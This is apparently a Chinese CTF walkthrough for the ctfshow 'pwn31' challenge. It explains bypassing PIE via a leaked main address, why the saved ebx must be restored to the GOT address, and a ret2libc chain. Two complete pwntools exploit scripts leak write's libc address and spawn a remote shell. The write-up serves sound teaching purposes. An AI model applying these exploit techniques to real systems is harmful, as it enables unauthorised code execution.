pwn31
这道题关于程序基址和调用约定中ebx的作用
checkse
32 位小端序,开启了 PIE 保护
程序基址 + 偏移地址 = 真实地址
关闭 pie 保护时,程序基址为默认值,也就是说可以直接得到函数的真实地址
开启 pie 保护后,每次运行都会有不一样的程序基址
回到题目
拖进 ida,反编译
发现这里泄露了 mian 函数的真实地址,可以用来计算程序基址
我们还是用 pwn25 题的脚本,只需要更改第一步
# -*- coding: utf-8 -*- # 设置编码格式,用来在py2代码使用中文注释
from pwn import * # 导入 pwntools 库
from LibcSearcher import * # 导入 libcSearcher 库
context.log_level = 'debug' # 设置日志级别为调试模式,显示详细信息
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28294) # 远程连接
# 1
elf = ELF('./pwn') # 解析目标程序的 ELF 文件
main = int(io.recvline(),16) # 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main'] # 计算程序基址
ctfshow = base + elf.sym['ctfshow'] # 计算 ctfshow 的真实地址
write_got = base + elf.got['write'] # 计算 write@got 的真实地址
write_plt = base + elf.plt['write'] # 计算 write@plt 的真实地址
#2
payload1 = cyclic(0x88+0x4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1) # 传入payload1
#3
write = u32(io.recv(4)) # 接收打印出来的 write 的真实地址(4 字节)
# u32():将字节数据转换为无符号 32 位整数
print(hex(write))
libc = LibcSearcher('write',write) # 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write') # 计算 libc基地址
#4
system = libc_base + libc.dump('system') # 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh') # 计算 /bin/sh 字符串真实地址
#5
payload2 = cyclic(0x88+0x4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2) # 传入payload2
io.interactive() # 进入交互模式,获得远程 shell
开启容器,运行
但是却提示没有合适的 libc 基址,泄露出来的write
的真实地址是0x656d6974
libc 函数地址通常以0xf7xxxxxx
或 0xf6xxxxxx
开头,这一看就不是一个有效地址
那是什么原因导致了这个错误的地址?我们泄露思路肯定是没错的,问题出在细节上
我们打开 ctfshow 函数的汇编代码
这里就是问题所在,挑出重点部分逐行解释
push ebx ; 将 ebx 的原始值压栈保存(存到 [ebp-0x4])
...
call __x86_get_pc_thunk_ax ; 将下一条指令地址存入 eax
add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) ; eax += GOT 表与此指令的相对地址
;运行到这里,eax存的即是 GOT表 真实地址
...
mov ebx, eax ; 将 GOT 真实存入 ebx
...
mov ebx, [ebp+var_4] ; 从栈中恢复原始 ebx 值(var_4 = -4)
这种情况一般会出现在函数中需要使用 GOT 表地址的时候,简单来说就是主程序中 ebx 是有值的,在调用约定中 ebx 用来临时存放 GOT 表真实地址,方便函数使用,这时就会把 ebx 原来的值压入栈上先保存下来,让 ebx 临时储存 GOT 表的地址,函数结束时再恢复
我们刚刚的 payload1 中把 ebx 位置[ebp-0x4]
覆盖成了“AAAA”,然后 write@plt
的跳转逻辑直接访问 GOT 表,无需 ebx参与,所以正确调用到了 write 函数
紧接着 ebx 带着错误的“AAAA”又去访问write@got
地址,其结构大致如下
write@plt:
jmp [ebx + write@got_offset] ; 第一次跳转到 _dl_runtime_resolve
push reloc_offset ; 重定位条目索引
jmp _dl_runtime_resolve ; 解析真实地址并写入 GOT
也就是说,它是需要用 ebx 去计算的,ebx 正确才能泄露出正确的 write 的真实地址
而这里的 ebx,既不是“AAAA”
,也不是要恢复成的原来主函数的 ebx 值,而是调用约定中 GOT 表的地址
所以这里我们应该把 ebx 还原成 GOT 表地址,通过我们算出的程序基址,再加上 GOT 表的偏移地址
即:ebx = base + 0x1fc0
,偏移地址在 ida 里用快捷键Ctrl+S查看
综上所述,正确的 payload1 应该是:payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
,其栈帧如下:
偏移范围 | 填充内容 | 对应栈帧区域 | 作用说明 |
---|---|---|---|
[ebp+0x88]→[ebp+0x04] | b"A" * 132 | 缓冲区填充 | 覆盖局部变量和栈空间,直到覆盖保存的 ebx 前(需对齐到 ebp-0x4 ) |
[ebp-0x4] | p32(ebx) | 保存的 ebx 值 | 覆盖函数保存的原始 ebx (需合法值,否则 mov ebx, [ebp-0x4] 会崩溃) |
[ebp] | b"AAAA" | 旧的 ebp | 覆盖栈帧指针(通常可随意填充) |
[ebp+0x4] | p32(write_plt) | 返回地址 | 劫持控制流,跳转到 write@plt |
[ebp+0x8] | p32(ctfshow) | write 的返回地址 | write 执行后返回到 ctfshow 函数(或其他合法地址) |
[ebp+0xC] | p32(1) | write 参数1:fd | fd=1 (标准输出) |
[ebp+0x10] | p32(write_got) | write 参数2:buf | 要泄露的地址(write@got 的地址) |
[ebp+0x14] | p32(4) | write 参数3:len | 读取 4 字节(write 的返回值) |
最终的 exp
# -*- coding: utf-8 -*- # 设置编码格式,用来在py2代码使用中文注释
from pwn import * # 导入 pwntools 库
from LibcSearcher import * # 导入 libcSearcher 库
context.log_level = 'debug' # 设置日志级别为调试模式,显示详细信息
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28294) # 远程连接
# 1
elf = ELF('./pwn') # 解析目标程序的 ELF 文件
main = int(io.recvline(),16) # 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main'] # 计算程序基址
ctfshow = base + elf.sym['ctfshow'] # 计算 ctfshow 的真实地址
write_got = base + elf.got['write'] # 计算 write@got 的真实地址
write_plt = base + elf.plt['write'] # 计算 write@plt 的真实地址
ebx = base + 0x1fc0 # 将ebx恢复为GOT表真实地址
#2
payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1) # 传入payload1
#3
write = u32(io.recv(4)) # 接收打印出来的 write 的真实地址(4 字节)
# u32():将字节数据转换为无符号 32 位整数
libc = LibcSearcher('write',write) # 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write') # 计算 libc基地址
#4
system = libc_base + libc.dump('system') # 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh') # 计算 /bin/sh 字符串真实地址
#5
payload2 = b"A" * 140 + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2) # 传入payload2
io.interactive() # 进入交互模式,获得远程 shell
最后一步~运行运行运行…………
终于拿到 fla